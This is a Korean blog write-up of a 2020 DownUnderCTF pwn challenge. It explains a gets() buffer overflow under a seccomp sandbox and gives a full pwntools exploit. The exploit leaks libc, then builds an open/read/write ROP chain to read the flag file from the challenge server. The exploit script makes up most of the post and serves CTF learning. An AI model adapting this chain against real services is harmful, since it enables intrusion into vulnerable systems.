tmxklab

2020 DownUnderCTF - [pwn] return-to-whats-revenge 본문

CTF 문제

2020 DownUnderCTF - [pwn] return-to-whats-revenge

tmxk4221 2020. 9. 21. 16:30

1. 문제 확인

바이너리 파일이 주어지고 이번에는 플래그 파일의 경로를 알려준다.

 

1) mitigation

 

2-1) main() → vuln()

void __cdecl vuln()
{
  char name[40]; // [rsp+0h] [rbp-30h]

  puts("Where would you like to return to?");
  gets(name);
}

이번에도 gets로 받는다. → bof쌉가능

 

2-2) setup() → sandbox()

void __cdecl sandbox()
{
  sock_fprog prog; // [rsp+0h] [rbp-10F0h]
  sock_filter filter[25]; // [rsp+10h] [rbp-10E0h]
  bpf_labels lab; // [rsp+E0h] [rbp-1010h]

  memset(&lab, 0, sizeof(lab));
  filter[0].code = 32;
  filter[0].jt = 0;
  filter[0].jf = 0;
  filter[0].k = 4;
  filter[1].code = 21;
  filter[1].jt = 1;
  filter[1].jf = 0;
  filter[1].k = -1073741762;
  filter[2].code = 6;
  filter[2].jt = 0;
  filter[2].jf = 0;
  filter[2].k = 0;
  filter[3].code = 32;
  filter[3].jt = 0;
  filter[3].jf = 0;
  filter[3].k = 0;
  filter[4].code = 21;
  filter[4].jt = 0;
  filter[4].jf = 1;
  filter[4].k = 15;
  filter[5].code = 6;
  filter[5].jt = 0;
  filter[5].jf = 0;
  filter[5].k = 2147418112;
  filter[6].code = 21;
  filter[6].jt = 0;
  filter[6].jf = 1;
  filter[6].k = 231;
  filter[7].code = 6;
  filter[7].jt = 0;
  filter[7].jf = 0;
  filter[7].k = 2147418112;
  filter[8].code = 21;
  filter[8].jt = 0;
  filter[8].jf = 1;
  filter[8].k = 60;
  filter[9].code = 6;
  filter[9].jt = 0;
  filter[9].jf = 0;
  filter[9].k = 2147418112;
  filter[10].code = 21;
  filter[10].jt = 0;
  filter[10].jf = 1;
  filter[10].k = 2;
  filter[11].code = 6;
  filter[11].jt = 0;
  filter[11].jf = 0;
  filter[11].k = 2147418112;
  filter[12].code = 21;
  filter[12].jt = 0;
  filter[12].jf = 1;
  filter[12].k = 0;
  filter[13].code = 6;
  filter[13].jt = 0;
  filter[13].jf = 0;
  filter[13].k = 2147418112;
  filter[14].code = 21;
  filter[14].jt = 0;
  filter[14].jf = 1;
  filter[14].k = 1;
  filter[15].code = 6;
  filter[15].jt = 0;
  filter[15].jf = 0;
  filter[15].k = 2147418112;
  filter[16].code = 21;
  filter[16].jt = 0;
  filter[16].jf = 1;
  filter[16].k = 12;
  filter[17].code = 6;
  filter[17].jt = 0;
  filter[17].jf = 0;
  filter[17].k = 2147418112;
  filter[18].code = 21;
  filter[18].jt = 0;
  filter[18].jf = 1;
  filter[18].k = 9;
  filter[19].code = 6;
  filter[19].jt = 0;
  filter[19].jf = 0;
  filter[19].k = 2147418112;
  filter[20].code = 21;
  filter[20].jt = 0;
  filter[20].jf = 1;
  filter[20].k = 10;
  filter[21].code = 6;
  filter[21].jt = 0;
  filter[21].jf = 0;
  filter[21].k = 2147418112;
  filter[22].code = 21;
  filter[22].jt = 0;
  filter[22].jf = 1;
  filter[22].k = 3;
  filter[23].code = 6;
  filter[23].jt = 0;
  filter[23].jf = 0;
  filter[23].k = 2147418112;
  filter[24].code = 6;
  filter[24].jt = 0;
  filter[24].jf = 0;
  filter[24].k = 0;
  bpf_resolve_jumps(&lab, filter, 0x19uLL);
  prog.len = 25;
  prog.filter = filter;
  prctl(38, 1LL, 0LL, 0LL, 0LL);
  prctl(22, 2LL, &prog);
}

샌드박스가 걸려있어서 syscall이 제한되어 있다.

 


2. 문제 풀이

libc leak하는 거는 전에 풀었던 return to what이랑 동일하게 진행하면 된다.

문제는 sandbox에 의해 syscall이 제한되어 있다.

 

prctl() 참고

 

hitcon training [LAB 2]

1. 문제 1) mitigation 확인(orw.bin) 2) 문제 확인(orw.bin) 2-1) main함수 int __cdecl main(int argc, const char **argv, const char **envp) { orw_seccomp(); printf("Give my your shellcode:"); read(0,..

rninche01.tistory.com

orw(open, read, write) syscall은 제한되어 있지 않고 문제에서 플래그 파일의 경로를 알려줬으니 파일 open하고 read한 다음에 화면에 출력(write)하면 될 것이다.

 

추가로 gets()를 릭해서 libc파일이 뭔지 알고 파일을 얻을 수 있으므로

libc에서 가젯을 찾으면 예쁜 가젯들이 많이 보여서 rop진행하는데 어려움이 없다.

 

1) 익스코드

from pwn import *

context(log_level = "debug", arch="amd64", os="linux")

#p = process("./return-to-whats-revenge")
p = remote("chal.duc.tf", 30006)
#gdb.attach(p)

env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.so")}

e = ELF("./return-to-whats-revenge")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc.so")

vuln_addr = e.symbols['vuln']
gets_got = e.got['gets']
puts_got = e.got['puts']

gets_offset = libc.symbols['gets']
read_offset = 0x11007d
write_offset = 0x11014d
open_offset = 0x10fc7d
mov_2_offset = 0xd0e40
push_rax_offset = 0x3dfed
pop_rdi_offset = 0x2155f

mov_rdi_rbx_offset = 0x19a689       # mov rdi rbx ; jne 0x19a67e ; pop rbx ; ret
push_rax_pop_rbx_offset = 0x52240   # push rax ; pop rbx ; ret

init_stage1 = 0x4019d2
init_stage2 = 0x4019b8

flag_path = "/chal/flag.txt\x00"
#flag_path = "./flag.txt"
bss_addr = 0x404050
pr_addr = 0x4019db 	# pop rdi ; ret
ppr_addr = 0x4019d9	# pop rsi ; pop r15 ; ret
mov_eax = 0x401970      # mov eax, dword ptr [rbp - 0xc] ; leave ; ret

# 1. Input "flag_path" (bss)
payload = "A"*0x38
payload += p64(init_stage1)  
payload += p64(0)		# pop rbx
payload += p64(1)		# pop rbp
payload += p64(gets_got)	# pop r12 -> call [r12 + rbx*8]
payload += p64(bss_addr)        # pop r13 -> mov edi, r13d
payload += p64(0)               # pop r14 -> mov rsi, r14
payload += p64(0)               # pop r15 -> mov rdx, r15
payload += p64(init_stage2)

# 2. leak gets() address
payload += p64(0)
payload += p64(0)
payload += p64(1)
payload += p64(puts_got)	# pop r12 -> call [r12 + rbx*8]
payload += p64(gets_got)        # pop r13 -> mov edi, r13d
payload += p64(0)               # pop r14 -> mov rsi, r14
payload += p64(0)               # pop r15 -> mov rdx, r15
payload += p64(init_stage2)

# 3. return to vuln
payload += p64(1)
payload += p64(2)
payload += p64(3)
payload += p64(4)
payload += p64(5)
payload += p64(6)
payload += p64(7)
payload += p64(vuln_addr)

p.sendlineafter("to?\n", payload)

sleep(0.1)

p.sendline(flag_path)

sleep(0.1)

gets_addr = u64(p.recv(6).ljust(8, '\x00'))
libc_base = gets_addr - gets_offset

open_syscall = libc_base + open_offset
write_syscall = libc_base + write_offset
syscall = write_syscall + 5
read_syscall = libc_base + read_offset
mov_2_gadget = libc_base + mov_2_offset

xchg_eax_edi = libc_base + 0x6eacd
pop_rdx = libc_base + 0x1b96

log.info("libc base     : "+hex(libc_base))
log.info("gets addr     : "+hex(gets_addr))
log.info("open syscall  : "+hex(open_syscall))
log.info("write syscall : "+hex(write_syscall))
log.info("read syscall  : "+hex(read_syscall))
log.info("mov_2_gadget  : "+hex(mov_2_gadget))

# open("/chal/flag.txt")
payload = "A"*0x38
payload += p64(pr_addr)         # rdi = bss("/chal/flag.txt")
payload += p64(bss_addr)
payload += p64(ppr_addr)        # rsi = 0x0, r15 = 0x0
payload += p64(0)
payload += p64(0)
payload += p64(mov_2_gadget)    # mov eax, 0x2
payload += p64(syscall)         # syscall

# read(fd, bss_addr+0x10, length)
# rdi = fd, rsi = bss_addr+0x10, rdx = length
payload += p64(xchg_eax_edi)
payload += p64(ppr_addr)        # rsi = bss_addr+0x10, r15 = 0x0 
payload += p64(bss_addr+0x10)
payload += p64(0)
payload += p64(pop_rdx)         # rdx = 20
payload += p64(40)
payload += p64(read_syscall)    # mov eax, 0x0; syscall

# write(1, bss_addr+0x10, length)
# rdi = fd, rsi = bss_addr+0x10, rdx = length
payload += p64(pr_addr)         # rdi = 0x1
payload += p64(1)
payload += p64(ppr_addr)        # rsi = bss_addr+0x10, r15 = 0x0
payload += p64(bss_addr+0x10)
payload += p64(0)
payload += p64(pop_rdx)         # rdx = 20
payload += p64(40)
payload += p64(write_syscall)   # mov eax, 0x1; syscall

p.sendlineafter("to?\n", payload)

p.interactive()

이번에도 return-to-what문제풀고 바로 이거 풀었는데 여기서 풀고 나서 알았다. 내가 pop rdi; ret가젯 쓰고 있었네..??ㅋㅋㅋㅋ 왜 rtc했지

 

rtc안하고 바로 rop로 조져도 된다.

 

2) 실행 결과

 

return-to-whats-revenge
0.02MB

'CTF 문제' 카테고리의 다른 글

2020 DamCTF - ghostbusters(pwn)  (2) 2020.10.15
2020 DownUnderCTF - [misc] homepage  (0) 2020.09.21
2020 DownUnderCTF - [forensic] On the spectrum  (0) 2020.09.21
2020 DownUnderCTF - [pwn] return-to-what  (0) 2020.09.21
2020 CSAW - [pwn] slithery  (0) 2020.09.14
Comments